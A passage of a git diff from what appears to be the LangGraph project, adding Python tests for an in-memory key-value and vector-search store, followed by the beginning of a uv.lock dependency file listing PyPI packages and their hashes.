async_store.aput(("some", "fun", ""), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + await async_store.aput(("langgraph", "foo"), "bar", doc) + + await async_store.aput(("foo", "langgraph", "foo"), "bar", doc) + val = await async_store.aget(("foo", "langgraph", "foo"), "bar") + assert val is not None + assert val.value == doc + assert (await async_store.asearch(("foo", "langgraph", "foo")))[0].value == doc + assert (await async_store.asearch(("foo", "langgraph", "foo"), query="bar"))[ + 0 + ].value == doc + await async_store.adelete(("foo", "langgraph", "foo"), "bar") + assert (await async_store.aget(("foo", "langgraph", "foo"), "bar")) is None + + await async_store.abatch([PutOp(("valid", "namespace"), "key", doc)]) + val = await async_store.aget(("valid", "namespace"), "key") + assert val is not None + assert val.value == doc + assert (await async_store.asearch(("valid", "namespace")))[0].value == doc + await async_store.adelete(("valid", "namespace"), "key") + assert (await async_store.aget(("valid", "namespace"), "key")) is None + + +async def test_async_batch_store_deduplication(mocker: MockerFixture) -> None: + abatch = mocker.spy(InMemoryStore, "batch") + store = MockAsyncBatchedStore() + + same_doc = {"value": "same"} + diff_doc = {"value": "different"} + await asyncio.gather( + store.aput(namespace=("test",), key="same", value=same_doc), + store.aput(namespace=("test",), key="different", value=diff_doc), + ) + abatch.reset_mock() + + results = await asyncio.gather( + store.aget(namespace=("test",), key="same"), + store.aget(namespace=("test",), key="same"), + store.aget(namespace=("test",), key="different"), + ) + + assert len(results) == 3 + assert results[0] == results[1] + assert results[0] != results[2] + assert results[0].value == same_doc # type: ignore + assert results[2].value == diff_doc # type: ignore + assert len(abatch.call_args_list) == 1 + ops = list(abatch.call_args_list[0].args[1]) + assert len(ops) == 2 + assert GetOp(("test",), "same", refresh_ttl=True) in ops + assert GetOp(("test",), "different", refresh_ttl=True) in ops + + abatch.reset_mock() + + doc1 = {"value": 1} + doc2 = {"value": 2} + results = await asyncio.gather( + store.aput(namespace=("test",), key="key", value=doc1), + store.aput(namespace=("test",), key="key", value=doc2), + ) + assert len(abatch.call_args_list) == 1 + ops = list(abatch.call_args_list[0].args[1]) + assert len(ops) == 1 + assert ops[0] == PutOp(("test",), "key", doc2) + assert len(results) == 2 + assert all(result is None for result in results) + + result = await store.aget(namespace=("test",), key="key") + assert result is not None + assert result.value == doc2 + + abatch.reset_mock() + + results = await asyncio.gather( + store.asearch(("test",), filter={"value": 2}), + store.asearch(("test",), filter={"value": 2}), + ) + assert len(abatch.call_args_list) == 1 + ops = list(abatch.call_args_list[0].args[1]) + assert len(ops) == 1 + assert len(results) == 2 + assert results[0] == results[1] + assert len(results[0]) == 1 + assert results[0][0].value == doc2 + + abatch.reset_mock() + + +@pytest.fixture +def fake_embeddings() -> CharacterEmbeddings: + return CharacterEmbeddings(dims=500) + + +def test_vector_store_initialization(fake_embeddings: CharacterEmbeddings) -> None: + """Test store initialization with embedding config.""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + assert store.index_config is not None + assert store.index_config["dims"] == fake_embeddings.dims + assert store.index_config["embed"] == fake_embeddings + + +def test_vector_insert_with_auto_embedding( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test inserting items that get auto-embedded.""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + docs = [ + ("doc1", {"text": "short text"}), + ("doc2", {"text": "longer text document"}), + ("doc3", {"text": "longest text document here"}), + ("doc4", {"description": "text in description field"}), + ("doc5", {"content": "text in content field"}), + ("doc6", {"body": "text in body field"}), + ] + + for key, value in docs: + store.put(("test",), key, value) + + results = store.search(("test",), query="long text") + assert len(results) > 0 + + doc_order = [r.key for r in results] + assert "doc2" in doc_order + assert "doc3" in doc_order + + +async def test_async_vector_insert_with_auto_embedding( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test inserting items that get auto-embedded using async methods.""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + docs = [ + ("doc1", {"text": "short text"}), + ("doc2", {"text": "longer text document"}), + ("doc3", {"text": "longest text document here"}), + ("doc4", {"description": "text in description field"}), + ("doc5", {"content": "text in content field"}), + ("doc6", {"body": "text in body field"}), + ] + + for key, value in docs: + await store.aput(("test",), key, value) + + results = await store.asearch(("test",), query="long text") + assert len(results) > 0 + + doc_order = [r.key for r in results] + assert "doc2" in doc_order + assert "doc3" in doc_order + + +def test_vector_update_with_embedding(fake_embeddings: CharacterEmbeddings) -> None: + """Test that updating items properly updates their embeddings.""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + store.put(("test",), "doc1", {"text": "zany zebra Xerxes"}) + store.put(("test",), "doc2", {"text": "something about dogs"}) + store.put(("test",), "doc3", {"text": "text about birds"}) + + results_initial = store.search(("test",), query="Zany Xerxes") + assert len(results_initial) > 0 + assert results_initial[0].key == "doc1" + initial_score = results_initial[0].score + assert initial_score is not None + + store.put(("test",), "doc1", {"text": "new text about dogs"}) + + results_after = store.search(("test",), query="Zany Xerxes") + after_score = next((r.score for r in results_after if r.key == "doc1"), 0.0) + assert after_score is not None + assert after_score < initial_score + + results_new = store.search(("test",), query="new text about dogs") + for r in results_new: + if r.key == "doc1": + assert r.score > after_score + + # Don't index this one + store.put(("test",), "doc4", {"text": "new text about dogs"}, index=False) + results_new = store.search(("test",), query="new text about dogs", limit=3) + assert not any(r.key == "doc4" for r in results_new) + + +async def test_async_vector_update_with_embedding( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test that updating items properly updates their embeddings using async methods.""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + await store.aput(("test",), "doc1", {"text": "zany zebra Xerxes"}) + await store.aput(("test",), "doc2", {"text": "something about dogs"}) + await store.aput(("test",), "doc3", {"text": "text about birds"}) + + results_initial = await store.asearch(("test",), query="Zany Xerxes") + assert len(results_initial) > 0 + assert results_initial[0].key == "doc1" + initial_score = results_initial[0].score + + await store.aput(("test",), "doc1", {"text": "new text about dogs"}) + + results_after = await store.asearch(("test",), query="Zany Xerxes") + after_score = next((r.score for r in results_after if r.key == "doc1"), 0.0) + assert after_score is not None + assert after_score < initial_score + + results_new = await store.asearch(("test",), query="new text about dogs") + for r in results_new: + if r.key == "doc1": + assert r.score is not None + assert r.score > after_score + + # Don't index this one + await store.aput(("test",), "doc4", {"text": "new text about dogs"}, index=False) + results_new = await store.asearch(("test",), query="new text about dogs", limit=3) + assert not any(r.key == "doc4" for r in results_new) + + +def test_vector_search_with_filters(fake_embeddings: CharacterEmbeddings) -> None: + """Test combining vector search with filters.""" + inmem_store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + # Insert test documents + docs = [ + ("doc1", {"text": "red apple", "color": "red", "score": 4.5}), + ("doc2", {"text": "red car", "color": "red", "score": 3.0}), + ("doc3", {"text": "green apple", "color": "green", "score": 4.0}), + ("doc4", {"text": "blue car", "color": "blue", "score": 3.5}), + ] + + for key, value in docs: + inmem_store.put(("test",), key, value) + + results = inmem_store.search(("test",), query="apple", filter={"color": "red"}) + assert len(results) == 2 + assert results[0].key == "doc1" + + results = inmem_store.search(("test",), query="car", filter={"color": "red"}) + assert len(results) == 2 + assert results[0].key == "doc2" + + results = inmem_store.search( + ("test",), query="bbbbluuu", filter={"score": {"$gt": 3.2}} + ) + assert len(results) == 3 + assert results[0].key == "doc4" + + # Multiple filters + results = inmem_store.search( + ("test",), query="apple", filter={"score": {"$gte": 4.0}, "color": "green"} + ) + assert len(results) == 1 + assert results[0].key == "doc3" + + +async def test_async_vector_search_with_filters( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test combining vector search with filters using async methods.""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + # Insert test documents + docs = [ + ("doc1", {"text": "red apple", "color": "red", "score": 4.5}), + ("doc2", {"text": "red car", "color": "red", "score": 3.0}), + ("doc3", {"text": "green apple", "color": "green", "score": 4.0}), + ("doc4", {"text": "blue car", "color": "blue", "score": 3.5}), + ] + + for key, value in docs: + await store.aput(("test",), key, value) + + results = await store.asearch(("test",), query="apple", filter={"color": "red"}) + assert len(results) == 2 + assert results[0].key == "doc1" + + results = await store.asearch(("test",), query="car", filter={"color": "red"}) + assert len(results) == 2 + assert results[0].key == "doc2" + + results = await store.asearch( + ("test",), query="bbbbluuu", filter={"score": {"$gt": 3.2}} + ) + assert len(results) == 3 + assert results[0].key == "doc4" + + # Multiple filters + results = await store.asearch( + ("test",), query="apple", filter={"score": {"$gte": 4.0}, "color": "green"} + ) + assert len(results) == 1 + assert results[0].key == "doc3" + + +async def test_async_batched_vector_search_concurrent( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test concurrent vector search operations using async batched store.""" + store = MockAsyncBatchedStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + + colors = ["red", "blue", "green", "yellow", "purple"] + items = ["apple", "car", "house", "book", "phone"] + scores = [3.0, 3.5, 4.0, 4.5, 5.0] + + docs = [] + for i in range(50): + color = colors[i % len(colors)] + item = items[i % len(items)] + score = scores[i % len(scores)] + docs.append( + ( + f"doc{i}", + {"text": f"{color} {item}", "color": color, "score": score, "index": i}, + ) + ) + coros = [ + *[store.aput(("test",), key, value) for key, value in docs], + *[store.adelete(("test",), key) for key, value in docs], + *[store.aput(("test",), key, value) for key, value in docs], + ] + await asyncio.gather(*coros) + + # Prepare multiple search queries with different filters + search_queries: list[tuple[str, dict[str, Any]]] = [ + ("apple", {"color": "red"}), + ("car", {"color": "blue"}), + ("house", {"color": "green"}), + ("phone", {"score": {"$gt": 4.99}}), + ("book", {"score": {"$lte": 3.5}}), + ("apple", {"score": {"$gte": 3.0}, "color": "red"}), + ("car", {"score": {"$lt": 5.1}, "color": "blue"}), + ("house", {"index": {"$gt": 25}}), + ("phone", {"index": {"$lte": 10}}), + ] + + all_results = await asyncio.gather( + *[ + store.asearch(("test",), query=query, filter=filter_) + for query, filter_ in search_queries + ] + ) + + for results, (query, filter_) in zip(all_results, search_queries, strict=False): + assert len(results) > 0, f"No results for query '{query}' with filter {filter_}" + + for result in results: + if "color" in filter_: + assert result.value["color"] == filter_["color"] + + if "score" in filter_: + score = result.value["score"] + for op, value in filter_["score"].items(): + if op == "$gt": + assert score > value + elif op == "$gte": + assert score >= value + elif op == "$lt": + assert score < value + elif op == "$lte": + assert score <= value + + if "index" in filter_: + index = result.value["index"] + for op, value in filter_["index"].items(): + if op == "$gt": + assert index > value + elif op == "$gte": + assert index >= value + elif op == "$lt": + assert index < value + elif op == "$lte": + assert index <= value + + +def test_vector_search_pagination(fake_embeddings: CharacterEmbeddings) -> None: + """Test pagination with vector search.""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + for i in range(5): + store.put(("test",), f"doc{i}", {"text": f"test document number {i}"}) + + results_page1 = store.search(("test",), query="test", limit=2) + results_page2 = store.search(("test",), query="test", limit=2, offset=2) + + assert len(results_page1) == 2 + assert len(results_page2) == 2 + assert results_page1[0].key != results_page2[0].key + + all_results = store.search(("test",), query="test", limit=10) + assert len(all_results) == 5 + + +async def test_async_vector_search_pagination( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test pagination with vector search using async methods.""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + for i in range(5): + await store.aput(("test",), f"doc{i}", {"text": f"test document number {i}"}) + + results_page1 = await store.asearch(("test",), query="test", limit=2) + results_page2 = await store.asearch(("test",), query="test", limit=2, offset=2) + + assert len(results_page1) == 2 + assert len(results_page2) == 2 + assert results_page1[0].key != results_page2[0].key + + all_results = await store.asearch(("test",), query="test", limit=10) + assert len(all_results) == 5 + + +async def test_embed_with_path(fake_embeddings: CharacterEmbeddings) -> None: + # Test store-level field configuration + store = InMemoryStore( + index={ + "dims": fake_embeddings.dims, + "embed": fake_embeddings, + # Key 2 isn't included. Don't index it. + "fields": ["key0", "key1", "key3"], + } + ) + # This will have 2 vectors representing it + doc1 = { + # Omit key0 - check it doesn't raise an error + "key1": "xxx", + "key2": "yyy", + "key3": "zzz", + } + # This will have 3 vectors representing it + doc2 = { + "key0": "uuu", + "key1": "vvv", + "key2": "www", + "key3": "xxx", + } + await store.aput(("test",), "doc1", doc1) + await store.aput(("test",), "doc2", doc2) + + # doc2.key3 and doc1.key1 both would have the highest score + results = await store.asearch(("test",), query="xxx") + assert len(results) == 2 + assert results[0].key != results[1].key + ascore = results[0].score + bscore = results[1].score + assert ascore is not None and bscore is not None + assert ascore == pytest.approx(bscore, abs=1e-5) + + results = await store.asearch(("test",), query="uuu") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].key == "doc2" + assert results[0].score is not None and results[0].score > results[1].score + assert ascore == pytest.approx(results[0].score, abs=1e-5) + + # Un-indexed - will have low results for both. Not zero (because we're projecting) + # but less than the above. + results = await store.asearch(("test",), query="www") + assert len(results) == 2 + assert results[0].score < ascore + assert results[1].score < ascore + + # Test operation-level field configuration + store_no_defaults = InMemoryStore( + index={ + "dims": fake_embeddings.dims, + "embed": fake_embeddings, + "fields": ["key17"], + } + ) + + doc3 = { + "key0": "aaa", + "key1": "bbb", + "key2": "ccc", + "key3": "ddd", + } + doc4 = { + "key0": "eee", + "key1": "bbb", # Same as doc3.key1 + "key2": "fff", + "key3": "ggg", + } + + await store_no_defaults.aput(("test",), "doc3", doc3, index=["key0", "key1"]) + await store_no_defaults.aput(("test",), "doc4", doc4, index=["key1", "key3"]) + + results = await store_no_defaults.asearch(("test",), query="aaa") + assert len(results) == 2 + assert results[0].key == "doc3" + assert results[0].score is not None and results[0].score > results[1].score + + results = await store_no_defaults.asearch(("test",), query="ggg") + assert len(results) == 2 + assert results[0].key == "doc4" + assert results[0].score is not None and results[0].score > results[1].score + + results = await store_no_defaults.asearch(("test",), query="bbb") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].score == results[1].score + + results = await store_no_defaults.asearch(("test",), query="ccc") + assert len(results) == 2 + assert all(r.score < ascore for r in results) + + doc5 = { + "key0": "hhh", + "key1": "iii", + } + await store_no_defaults.aput(("test",), "doc5", doc5, index=False) + + results = await store_no_defaults.asearch(("test",), query="hhh") + assert len(results) == 3 + doc5_result = next(r for r in results if r.key == "doc5") + assert doc5_result.score is None + + +def test_non_ascii(fake_embeddings: CharacterEmbeddings) -> None: + """Test support for non-ascii characters""" + store = InMemoryStore( + index={"dims": fake_embeddings.dims, "embed": fake_embeddings} + ) + store.put(("user_123", "memories"), "1", {"text": "这是中文"}) # Chinese + store.put(("user_123", "memories"), "2", {"text": "これは日本語です"}) # Japanese + store.put(("user_123", "memories"), "3", {"text": "이건 한국어야"}) # Korean + store.put(("user_123", "memories"), "4", {"text": "Это русский"}) # Russian + store.put(("user_123", "memories"), "5", {"text": "यह रूसी है"}) # Hindi + + result1 = store.search(("user_123", "memories"), query="这是中文") + result2 = store.search(("user_123", "memories"), query="これは日本語です") + result3 = store.search(("user_123", "memories"), query="이건 한국어야") + result4 = store.search(("user_123", "memories"), query="Это русский") + result5 = store.search(("user_123", "memories"), query="यह रूसी है") + + assert result1[0].key == "1" + assert result2[0].key == "2" + assert result3[0].key == "3" + assert result4[0].key == "4" + assert result5[0].key == "5" diff --git a/libs/checkpoint/uv.lock b/libs/checkpoint/uv.lock new file mode 100644 index 0000000..f4ce82c --- /dev/null +++ b/libs/checkpoint/uv.lock @@ -0,0 +1,1682 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" +resolution-markers = [ + "python_full_version >= '3.15'", + "python_full_version >= '3.12' and python_full_version < '3.15'", + "python_full_version == '3.11.*'", + "python_full_version < '3.11'", +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" }, +] + +[[package]] +name = "async-timeout" +version = "5.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a5/ae/136395dfbfe00dfc94da3f3e136d0b13f394cba8f4841120e34226265780/async_timeout-5.0.1.tar.gz", hash = "sha256:d9321a7a3d5a6a5e187e824d2fa0793ce379a202935782d555d6e9d2735677d3", size = 9274, upload-time = "2024-11-06T16:41:39.6Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fe/ba/e2081de779ca30d473f21f5b30e0e737c438205440784c7dfc81efc2b029/async_timeout-5.0.1-py3-none-any.whl", hash = "sha256:39e3809566ff85354557ec2398b55e096c8364bacac9405a7a1fa429e77fe76c", size = 6233, upload-time = "2024-11-06T16:41:37.9Z" }, +] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, +] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, + { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, + { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, + { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, + { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, + { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, + { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, + { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, + { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, + { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = 